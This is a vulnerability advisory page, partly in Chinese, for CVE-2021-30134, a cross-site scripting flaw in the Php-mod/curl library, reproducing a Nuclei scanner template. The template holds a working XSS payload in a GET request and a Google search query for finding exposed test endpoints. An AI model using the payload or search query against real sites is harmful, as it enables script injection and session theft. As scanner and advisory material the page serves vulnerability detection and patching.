CVE-2021-30134: Php-mod/curl Library <2.3.2 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: phpmodcurl | POC: 已公开

漏洞描述

Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.

PoC代码[已公开]

id: CVE-2021-30134

info:
  name: Php-mod/curl Library <2.3.2 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30134
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30134
    cwe-id: CWE-79
    epss-score: 0.10009
    epss-percentile: 0.92782
    cpe: cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: php_curl_class_project
    product: php_curl_class
    google-query: inurl:"/php-curl-test/post_file_path_upload.php"
  tags: cve2021,cve,xss,php-mod,wpscan,php_curl_class_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'key":"<img src onerror=alert(document.domain)>"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d906237ec9c12023e3ac24a38e32d8f118fe3ac631019dc7bc56538c8aed81ca022100c30ea93ffba92f7e25b7666b8e21825d9b2e6dc28e4581ebc592399405a2e4a9:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30134.yaml

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